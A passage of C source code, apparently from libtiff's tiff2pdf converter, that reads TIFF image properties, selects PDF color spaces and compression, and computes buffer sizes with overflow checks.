TIFFGetField(input, TIFFTAG_TILEWIDTH, &( t2p->tiff_tiles[i].tiles_tilewidth) ); TIFFGetField(input, TIFFTAG_TILELENGTH, &( t2p->tiff_tiles[i].tiles_tilelength) ); t2p->tiff_tiles[i].tiles_tiles = (T2P_TILE*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->tiff_tiles[i].tiles_tilecount, sizeof(T2P_TILE)) ); if( t2p->tiff_tiles[i].tiles_tiles == NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory for t2p_read_tiff_init, %s", (TIFF_SIZE_T) t2p->tiff_tiles[i].tiles_tilecount * sizeof(T2P_TILE), TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } } } return; } /* * This function is used by qsort to sort a T2P_PAGE* array of page structures * by page number. If the page numbers are the same, we fall back to comparing * directory numbers to preserve the order of the input file. */ int t2p_cmp_t2p_page(const void* e1, const void* e2){ int d; d = (int32)(((T2P_PAGE*)e1)->page_number) - (int32)(((T2P_PAGE*)e2)->page_number); if(d == 0){ d = (int32)(((T2P_PAGE*)e1)->page_directory) - (int32)(((T2P_PAGE*)e2)->page_directory); } return d; } /* This function sets the input directory to the directory of a given page and determines information about the image. It checks the image characteristics to determine if it is possible to convert the image data into a page of PDF output, setting values of the T2P struct for this page. It determines what color space is used in the output PDF to represent the image. It determines if the image can be converted as raw data without requiring transcoding of the image data. */ void t2p_read_tiff_data(T2P* t2p, TIFF* input){ int i=0; uint16* r; uint16* g; uint16* b; uint16* a; uint16 xuint16; uint16* xuint16p; float* xfloatp; t2p->pdf_transcode = T2P_TRANSCODE_ENCODE; t2p->pdf_sample = T2P_SAMPLE_NOTHING; t2p->pdf_switchdecode = t2p->pdf_colorspace_invert; TIFFSetDirectory(input, t2p->tiff_pages[t2p->pdf_page].page_directory); TIFFGetField(input, TIFFTAG_IMAGEWIDTH, &(t2p->tiff_width)); if(t2p->tiff_width == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with zero width", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } TIFFGetField(input, TIFFTAG_IMAGELENGTH, &(t2p->tiff_length)); if(t2p->tiff_length == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with zero length", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } if(TIFFGetField(input, TIFFTAG_COMPRESSION, &(t2p->tiff_compression)) == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with no compression tag", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } if( TIFFIsCODECConfigured(t2p->tiff_compression) == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with compression type %u: not configured", TIFFFileName(input), t2p->tiff_compression ); t2p->t2p_error = T2P_ERR_ERROR; return; } TIFFGetFieldDefaulted(input, TIFFTAG_BITSPERSAMPLE, &(t2p->tiff_bitspersample)); switch(t2p->tiff_bitspersample){ case 1: case 2: case 4: case 8: break; case 0: TIFFWarning( TIFF2PDF_MODULE, "Image %s has 0 bits per sample, assuming 1", TIFFFileName(input)); t2p->tiff_bitspersample=1; break; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with %u bits per sample", TIFFFileName(input), t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } TIFFGetFieldDefaulted(input, TIFFTAG_SAMPLESPERPIXEL, &(t2p->tiff_samplesperpixel)); if(t2p->tiff_samplesperpixel>4){ TIFFError( TIFF2PDF_MODULE, "No support for %s with %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } if(t2p->tiff_samplesperpixel==0){ TIFFWarning( TIFF2PDF_MODULE, "Image %s has 0 samples per pixel, assuming 1", TIFFFileName(input)); t2p->tiff_samplesperpixel=1; } if(TIFFGetField(input, TIFFTAG_SAMPLEFORMAT, &xuint16) != 0 ){ switch(xuint16){ case 0: case 1: case 4: break; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with sample format %u", TIFFFileName(input), xuint16); t2p->t2p_error = T2P_ERR_ERROR; return; break; } } TIFFGetFieldDefaulted(input, TIFFTAG_FILLORDER, &(t2p->tiff_fillorder)); if(TIFFGetField(input, TIFFTAG_PHOTOMETRIC, &(t2p->tiff_photometric)) == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with no photometric interpretation tag", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } switch(t2p->tiff_photometric){ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: if (t2p->tiff_bitspersample==1){ t2p->pdf_colorspace=T2P_CS_BILEVEL; if(t2p->tiff_photometric==PHOTOMETRIC_MINISWHITE){ t2p->pdf_switchdecode ^= 1; } } else { t2p->pdf_colorspace=T2P_CS_GRAY; if(t2p->tiff_photometric==PHOTOMETRIC_MINISWHITE){ t2p->pdf_switchdecode ^= 1; } } break; case PHOTOMETRIC_RGB: t2p->pdf_colorspace=T2P_CS_RGB; if(t2p->tiff_samplesperpixel == 3){ break; } if(TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)){ if(xuint16==1) goto photometric_palette; } if(t2p->tiff_samplesperpixel > 3) { if(t2p->tiff_samplesperpixel == 4) { t2p->pdf_colorspace = T2P_CS_RGB; if(TIFFGetField(input, TIFFTAG_EXTRASAMPLES, &xuint16, &xuint16p) && xuint16 == 1) { if(xuint16p[0] == EXTRASAMPLE_ASSOCALPHA){ if( t2p->tiff_bitspersample != 8 ) { TIFFError( TIFF2PDF_MODULE, "No support for BitsPerSample=%d for RGBA", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_sample=T2P_SAMPLE_RGBAA_TO_RGB; break; } if(xuint16p[0] == EXTRASAMPLE_UNASSALPHA){ if( t2p->tiff_bitspersample != 8 ) { TIFFError( TIFF2PDF_MODULE, "No support for BitsPerSample=%d for RGBA", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_sample=T2P_SAMPLE_RGBA_TO_RGB; break; } TIFFWarning( TIFF2PDF_MODULE, "RGB image %s has 4 samples per pixel, assuming RGBA", TIFFFileName(input)); break; } t2p->pdf_colorspace=T2P_CS_CMYK; t2p->pdf_switchdecode ^= 1; TIFFWarning( TIFF2PDF_MODULE, "RGB image %s has 4 samples per pixel, assuming inverse CMYK", TIFFFileName(input)); break; } else { TIFFError( TIFF2PDF_MODULE, "No support for RGB image %s with %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; break; } } else { TIFFError( TIFF2PDF_MODULE, "No support for RGB image %s with %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; break; } case PHOTOMETRIC_PALETTE: photometric_palette: if(t2p->tiff_samplesperpixel!=1){ TIFFError( TIFF2PDF_MODULE, "No support for palettized image %s with not one sample per pixel", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_colorspace=T2P_CS_RGB | T2P_CS_PALETTE; t2p->pdf_palettesize=0x0001<<t2p->tiff_bitspersample; if(!TIFFGetField(input, TIFFTAG_COLORMAP, &r, &g, &b)){ TIFFError( TIFF2PDF_MODULE, "Palettized image %s has no color map", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if(t2p->pdf_palette != NULL){ _TIFFfree(t2p->pdf_palette); t2p->pdf_palette=NULL; } t2p->pdf_palette = (unsigned char*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->pdf_palettesize,3)); if(t2p->pdf_palette==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_read_tiff_image, %s", t2p->pdf_palettesize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } for(i=0;i<t2p->pdf_palettesize;i++){ t2p->pdf_palette[(i*3)] = (unsigned char) (r[i]>>8); t2p->pdf_palette[(i*3)+1]= (unsigned char) (g[i]>>8); t2p->pdf_palette[(i*3)+2]= (unsigned char) (b[i]>>8); } t2p->pdf_palettesize *= 3; break; case PHOTOMETRIC_SEPARATED: if(TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)){ if(xuint16==1){ goto photometric_palette_cmyk; } } if( TIFFGetField(input, TIFFTAG_INKSET, &xuint16) ){ if(xuint16 != INKSET_CMYK){ TIFFError( TIFF2PDF_MODULE, "No support for %s because its inkset is not CMYK", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } } if(t2p->tiff_samplesperpixel==4){ t2p->pdf_colorspace=T2P_CS_CMYK; } else { TIFFError( TIFF2PDF_MODULE, "No support for %s because it has %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } break; photometric_palette_cmyk: if(t2p->tiff_samplesperpixel!=1){ TIFFError( TIFF2PDF_MODULE, "No support for palettized CMYK image %s with not one sample per pixel", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_colorspace=T2P_CS_CMYK | T2P_CS_PALETTE; t2p->pdf_palettesize=0x0001<<t2p->tiff_bitspersample; if(!TIFFGetField(input, TIFFTAG_COLORMAP, &r, &g, &b, &a)){ TIFFError( TIFF2PDF_MODULE, "Palettized image %s has no color map", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if(t2p->pdf_palette != NULL){ _TIFFfree(t2p->pdf_palette); t2p->pdf_palette=NULL; } t2p->pdf_palette = (unsigned char*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->pdf_palettesize,4)); if(t2p->pdf_palette==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_read_tiff_image, %s", t2p->pdf_palettesize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } for(i=0;i<t2p->pdf_palettesize;i++){ t2p->pdf_palette[(i*4)] = (unsigned char) (r[i]>>8); t2p->pdf_palette[(i*4)+1]= (unsigned char) (g[i]>>8); t2p->pdf_palette[(i*4)+2]= (unsigned char) (b[i]>>8); t2p->pdf_palette[(i*4)+3]= (unsigned char) (a[i]>>8); } t2p->pdf_palettesize *= 4; break; case PHOTOMETRIC_YCBCR: t2p->pdf_colorspace=T2P_CS_RGB; if(t2p->tiff_samplesperpixel==1){ t2p->pdf_colorspace=T2P_CS_GRAY; t2p->tiff_photometric=PHOTOMETRIC_MINISBLACK; break; } t2p->pdf_sample=T2P_SAMPLE_YCBCR_TO_RGB; #ifdef JPEG_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){ t2p->pdf_sample=T2P_SAMPLE_NOTHING; } #endif break; case PHOTOMETRIC_CIELAB: if( t2p->tiff_samplesperpixel != 3){ TIFFError( TIFF2PDF_MODULE, "Unsupported samplesperpixel = %d for CIELAB", t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } if( t2p->tiff_bitspersample != 8){ TIFFError( TIFF2PDF_MODULE, "Invalid bitspersample = %d for CIELAB", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_labrange[0]= -127; t2p->pdf_labrange[1]= 127; t2p->pdf_labrange[2]= -127; t2p->pdf_labrange[3]= 127; t2p->pdf_sample=T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED; t2p->pdf_colorspace=T2P_CS_LAB; break; case PHOTOMETRIC_ICCLAB: t2p->pdf_labrange[0]= 0; t2p->pdf_labrange[1]= 255; t2p->pdf_labrange[2]= 0; t2p->pdf_labrange[3]= 255; t2p->pdf_colorspace=T2P_CS_LAB; break; case PHOTOMETRIC_ITULAB: if( t2p->tiff_samplesperpixel != 3){ TIFFError( TIFF2PDF_MODULE, "Unsupported samplesperpixel = %d for ITULAB", t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } if( t2p->tiff_bitspersample != 8){ TIFFError( TIFF2PDF_MODULE, "Invalid bitspersample = %d for ITULAB", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_labrange[0]=-85; t2p->pdf_labrange[1]=85; t2p->pdf_labrange[2]=-75; t2p->pdf_labrange[3]=124; t2p->pdf_sample=T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED; t2p->pdf_colorspace=T2P_CS_LAB; break; case PHOTOMETRIC_LOGL: case PHOTOMETRIC_LOGLUV: TIFFError( TIFF2PDF_MODULE, "No support for %s with photometric interpretation LogL/LogLuv", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with photometric interpretation %u", TIFFFileName(input), t2p->tiff_photometric); t2p->t2p_error = T2P_ERR_ERROR; return; } if(TIFFGetField(input, TIFFTAG_PLANARCONFIG, &(t2p->tiff_planar))){ switch(t2p->tiff_planar){ case 0: TIFFWarning( TIFF2PDF_MODULE, "Image %s has planar configuration 0, assuming 1", TIFFFileName(input)); t2p->tiff_planar=PLANARCONFIG_CONTIG; case PLANARCONFIG_CONTIG: break; case PLANARCONFIG_SEPARATE: t2p->pdf_sample=T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG; if(t2p->tiff_bitspersample!=8){ TIFFError( TIFF2PDF_MODULE, "No support for %s with separated planar configuration and %u bits per sample", TIFFFileName(input), t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } break; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with planar configuration %u", TIFFFileName(input), t2p->tiff_planar); t2p->t2p_error = T2P_ERR_ERROR; return; } } TIFFGetFieldDefaulted(input, TIFFTAG_ORIENTATION, &(t2p->tiff_orientation)); if(t2p->tiff_orientation>8){ TIFFWarning(TIFF2PDF_MODULE, "Image %s has orientation %u, assuming 0", TIFFFileName(input), t2p->tiff_orientation); t2p->tiff_orientation=0; } if(TIFFGetField(input, TIFFTAG_XRESOLUTION, &(t2p->tiff_xres) ) == 0){ t2p->tiff_xres=0.0; } if(TIFFGetField(input, TIFFTAG_YRESOLUTION, &(t2p->tiff_yres) ) == 0){ t2p->tiff_yres=0.0; } TIFFGetFieldDefaulted(input, TIFFTAG_RESOLUTIONUNIT, &(t2p->tiff_resunit)); if(t2p->tiff_resunit == RESUNIT_CENTIMETER) { t2p->tiff_xres *= 2.54F; t2p->tiff_yres *= 2.54F; } else if (t2p->tiff_resunit != RESUNIT_INCH && t2p->pdf_centimeters != 0) { t2p->tiff_xres *= 2.54F; t2p->tiff_yres *= 2.54F; } t2p_compose_pdf_page(t2p); if( t2p->t2p_error == T2P_ERR_ERROR ) return; t2p->pdf_transcode = T2P_TRANSCODE_ENCODE; if(t2p->pdf_nopassthrough==0){ #ifdef CCITT_SUPPORT if(t2p->tiff_compression==COMPRESSION_CCITTFAX4 ){ if(TIFFIsTiled(input) || (TIFFNumberOfStrips(input)==1) ){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_G4; } } #endif #ifdef ZIP_SUPPORT if(t2p->tiff_compression== COMPRESSION_ADOBE_DEFLATE || t2p->tiff_compression==COMPRESSION_DEFLATE){ if(TIFFIsTiled(input) || (TIFFNumberOfStrips(input)==1) ){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_ZIP; } } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_OJPEG){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_JPEG; t2p_process_ojpeg_tables(t2p, input); } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_JPEG){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_JPEG; } #endif (void)0; } if(t2p->pdf_transcode!=T2P_TRANSCODE_RAW){ t2p->pdf_compression = t2p->pdf_defaultcompression; } #ifdef JPEG_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){ if(t2p->pdf_colorspace & T2P_CS_PALETTE){ t2p->pdf_sample|=T2P_SAMPLE_REALIZE_PALETTE; t2p->pdf_colorspace ^= T2P_CS_PALETTE; t2p->tiff_pages[t2p->pdf_page].page_extra--; } } if(t2p->tiff_compression==COMPRESSION_JPEG){ if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ TIFFError( TIFF2PDF_MODULE, "No support for %s with JPEG compression and separated planar configuration", TIFFFileName(input)); t2p->t2p_error=T2P_ERR_ERROR; return; } } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_OJPEG){ if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ TIFFError( TIFF2PDF_MODULE, "No support for %s with OJPEG compression and separated planar configuration", TIFFFileName(input)); t2p->t2p_error=T2P_ERR_ERROR; return; } } #endif if(t2p->pdf_sample & T2P_SAMPLE_REALIZE_PALETTE){ if(t2p->pdf_colorspace & T2P_CS_CMYK){ t2p->tiff_samplesperpixel=4; t2p->tiff_photometric=PHOTOMETRIC_SEPARATED; } else { t2p->tiff_samplesperpixel=3; t2p->tiff_photometric=PHOTOMETRIC_RGB; } } if (TIFFGetField(input, TIFFTAG_TRANSFERFUNCTION, &(t2p->tiff_transferfunction[0]), &(t2p->tiff_transferfunction[1]), &(t2p->tiff_transferfunction[2]))) { if((t2p->tiff_transferfunction[1] != (float*) NULL) && (t2p->tiff_transferfunction[2] != (float*) NULL) && (t2p->tiff_transferfunction[1] != t2p->tiff_transferfunction[0])) { t2p->tiff_transferfunctioncount=3; } else { t2p->tiff_transferfunctioncount=1; } } else { t2p->tiff_transferfunctioncount=0; } if(TIFFGetField(input, TIFFTAG_WHITEPOINT, &xfloatp)!=0){ t2p->tiff_whitechromaticities[0]=xfloatp[0]; t2p->tiff_whitechromaticities[1]=xfloatp[1]; if(t2p->pdf_colorspace & T2P_CS_GRAY){ t2p->pdf_colorspace |= T2P_CS_CALGRAY; } if(t2p->pdf_colorspace & T2P_CS_RGB){ t2p->pdf_colorspace |= T2P_CS_CALRGB; } } if(TIFFGetField(input, TIFFTAG_PRIMARYCHROMATICITIES, &xfloatp)!=0){ t2p->tiff_primarychromaticities[0]=xfloatp[0]; t2p->tiff_primarychromaticities[1]=xfloatp[1]; t2p->tiff_primarychromaticities[2]=xfloatp[2]; t2p->tiff_primarychromaticities[3]=xfloatp[3]; t2p->tiff_primarychromaticities[4]=xfloatp[4]; t2p->tiff_primarychromaticities[5]=xfloatp[5]; if(t2p->pdf_colorspace & T2P_CS_RGB){ t2p->pdf_colorspace |= T2P_CS_CALRGB; } } if(t2p->pdf_colorspace & T2P_CS_LAB){ if(TIFFGetField(input, TIFFTAG_WHITEPOINT, &xfloatp) != 0){ t2p->tiff_whitechromaticities[0]=xfloatp[0]; t2p->tiff_whitechromaticities[1]=xfloatp[1]; } else { t2p->tiff_whitechromaticities[0]=0.3457F; /* 0.3127F; */ t2p->tiff_whitechromaticities[1]=0.3585F; /* 0.3290F; */ } } if(TIFFGetField(input, TIFFTAG_ICCPROFILE, &(t2p->tiff_iccprofilelength), &(t2p->tiff_iccprofile))!=0){ t2p->pdf_colorspace |= T2P_CS_ICCBASED; } else { t2p->tiff_iccprofilelength=0; t2p->tiff_iccprofile=NULL; } #ifdef CCITT_SUPPORT if( t2p->tiff_bitspersample==1 && t2p->tiff_samplesperpixel==1){ t2p->pdf_compression = T2P_COMPRESS_G4; } #endif return; } /* This function returns the necessary size of a data buffer to contain the raw or uncompressed image data from the input TIFF for a page. */ void t2p_read_tiff_size(T2P* t2p, TIFF* input){ uint64* sbc=NULL; #if defined(JPEG_SUPPORT) || defined (OJPEG_SUPPORT) unsigned char* jpt=NULL; tstrip_t i=0; tstrip_t stripcount=0; #endif uint64 k = 0; if(t2p->pdf_transcode == T2P_TRANSCODE_RAW){ #ifdef CCITT_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_G4 ){ TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc); t2p->tiff_datasize=(tmsize_t)sbc[0]; return; } #endif #ifdef ZIP_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_ZIP){ TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc); t2p->tiff_datasize=(tmsize_t)sbc[0]; return; } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_OJPEG){ if(!TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc)){ TIFFError(TIFF2PDF_MODULE, "Input file %s missing field: TIFFTAG_STRIPBYTECOUNTS", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ k = checkAdd64(k, sbc[i], t2p); } if(TIFFGetField(input, TIFFTAG_JPEGIFOFFSET, &(t2p->tiff_dataoffset))){ if(t2p->tiff_dataoffset != 0){ if(TIFFGetField(input, TIFFTAG_JPEGIFBYTECOUNT, &(t2p->tiff_datasize))!=0){ if((uint64)t2p->tiff_datasize < k) { TIFFWarning(TIFF2PDF_MODULE, "Input file %s has short JPEG interchange file byte count", TIFFFileName(input)); t2p->pdf_ojpegiflength=t2p->tiff_datasize; k = checkAdd64(k, t2p->tiff_datasize, t2p); k = checkAdd64(k, 6, t2p); k = checkAdd64(k, stripcount, t2p); k = checkAdd64(k, stripcount, t2p); t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } return; }else { TIFFError(TIFF2PDF_MODULE, "Input file %s missing field: TIFFTAG_JPEGIFBYTECOUNT", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } } } k = checkAdd64(k, stripcount, t2p); k = checkAdd64(k, stripcount, t2p); k = checkAdd64(k, 2048, t2p); t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_JPEG) { uint32 count = 0; if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt) != 0 ){ if(count > 4){ k += count; k -= 2; /* don't use EOI of header */ } } else { k = 2; /* SOI for first strip */ } stripcount=TIFFNumberOfStrips(input); if(!TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc)){ TIFFError(TIFF2PDF_MODULE, "Input file %s missing field: TIFFTAG_STRIPBYTECOUNTS", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } for(i=0;i<stripcount;i++){ k = checkAdd64(k, sbc[i], t2p); k -=2; /* don't use EOI of strip */ k +=2; /* add space for restart marker */ } k = checkAdd64(k, 2, t2p); /* use EOI of last strip */ k = checkAdd64(k, 6, t2p); /* for DRI marker of first strip */ t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } #endif (void) 0; } k = checkMultiply64(TIFFScanlineSize(input), t2p->tiff_length, t2p); if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ k = checkMultiply64(k, t2p->tiff_samplesperpixel, t2p); } if (k == 0) { /* Assume we had overflow inside TIFFScanlineSize */ t2p->t2p_error = T2P_ERR_ERROR; } t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } /* This function returns the necessary size of a data buffer to contain the raw or uncompressed image data from the input TIFF for a tile of a page. */ void t2p_read_tiff_size_tile(T2P* t2p, TIFF* input, ttile_t tile){ uint64* tbc = NULL; uint16 edge=0; #ifdef JPEG_SUPPORT unsigned char* jpt; #endif uint64 k; edge |= t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile); edge |= t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile); if(t2p->pdf_transcode==T2P_TRANSCODE_RAW){ if(edge #if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT) && !(t2p->pdf_compression==T2P_COMPRESS_JPEG) #endif ){ t2p->tiff_datasize=TIFFTileSize(input); if (t2p->tiff_datasize == 0) { /* Assume we had overflow inside TIFFTileSize */ t2p->t2p_error = T2P_ERR_ERROR; } return; } else { TIFFGetField(input, TIFFTAG_TILEBYTECOUNTS, &tbc); k=tbc[tile]; #ifdef OJPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_OJPEG){ k = checkAdd64(k, 2048, t2p); } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_JPEG) { uint32 count = 0; if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt)!=0){ if(count > 4){ k = checkAdd64(k, count, t2p); k -= 2; /* don't use EOI of header or SOI of tile */ } } } #endif t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } } k = TIFFTileSize(input); if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ k = checkMultiply64(k, t2p->tiff_samplesperpixel, t2p); } if (k == 0) { /* Assume we had overflow inside TIFFTileSize */ t2p->t2p_error = T2P_ERR_ERROR; } t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } /* * This functions returns a non-zero value when the tile is on the right edge * and does not have full imaged tile width. */ int t2p_tile_is_right_edge(T2P_TILES tiles, ttile_t tile){ if( ((tile+1) % tiles.tiles_tilecountx == 0) && (tiles.tiles_edgetilewidth != 0) ){ return(1); } else { return(0); } } /* * This functions returns a non-zero value when the tile is on the bottom edge * and does not have full imaged tile length. */ int t2p_tile_is_bottom_edge(T2P_TILES tiles, ttile_t tile){ if( ((tile+1) > (tiles.tiles_tilecount-tiles.tiles_tilecountx) ) && (tiles.tiles_edgetilelength != 0) ){ return(1); } else { return(0); } } /* * This function returns a non-zero value when the tile is a right edge tile * or a bottom edge tile. */ int t2p_tile_is_edge(T2P_TILES tiles, ttile_t tile){ return(t2p_tile_is_right_edge(tiles, tile) | t2p_tile_is_bottom_edge(tiles, tile) ); } /* This function returns a non-zero value when the tile is a right edge tile and a bottom edge tile. */ int t2p_tile_is_corner_edge(T2P_TILES tiles, ttile_t tile){ return(t2p_tile_is_right_edge(tiles, tile) & t2p_tile_is_bottom_edge(tiles, tile) ); } /* This function reads the raster image data from the input TIFF for an image and writes the data to the output PDF XObject image dictionary stream. It returns the amount written or zero on error. */ tsize_t t2p_readwrite_pdf_image(T2P* t2p, TIFF* input, TIFF* output){ tsize_t written=0; unsigned char* buffer=NULL; unsigned char* samplebuffer=NULL; tsize_t bufferoffset=0; tsize_t samplebufferoffset=0; tsize_t read=0; tstrip_t i=0; tstrip_t j=0; tstrip_t stripcount=0; tsize_t stripsize=0; tsize_t sepstripcount=0; tsize_t sepstripsize=0; #ifdef OJPEG_SUPPORT toff_t inputoffset=0; uint16 h_samp=1; uint16 v_samp=1; uint16 ri=1; uint32 rows=0; #endif /* ifdef OJPEG_SUPPORT */ #ifdef JPEG_SUPPORT unsigned char* jpt; float* xfloatp; uint64* sbc; unsigned char* stripbuffer; tsize_t striplength=0; uint32 max_striplength=0; #endif /* ifdef JPEG_SUPPORT */ /* Fail if prior error (in particular, can't trust tiff_datasize) */ if (t2p->t2p_error != T2P_ERR_OK) return(0); if(t2p->pdf_transcode == T2P_TRANSCODE_RAW){ #ifdef CCITT_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_G4){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if (buffer == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for " "t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFReadRawStrip(input, 0, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){ /* * make sure is lsb-to-msb * bit-endianness fill order */ TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif /* ifdef CCITT_SUPPORT */ #ifdef ZIP_SUPPORT if (t2p->pdf_compression == T2P_COMPRESS_ZIP) { buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer == NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); TIFFReadRawStrip(input, 0, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB) { TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif /* ifdef ZIP_SUPPORT */ #ifdef OJPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_OJPEG) { if(t2p->tiff_dataoffset != 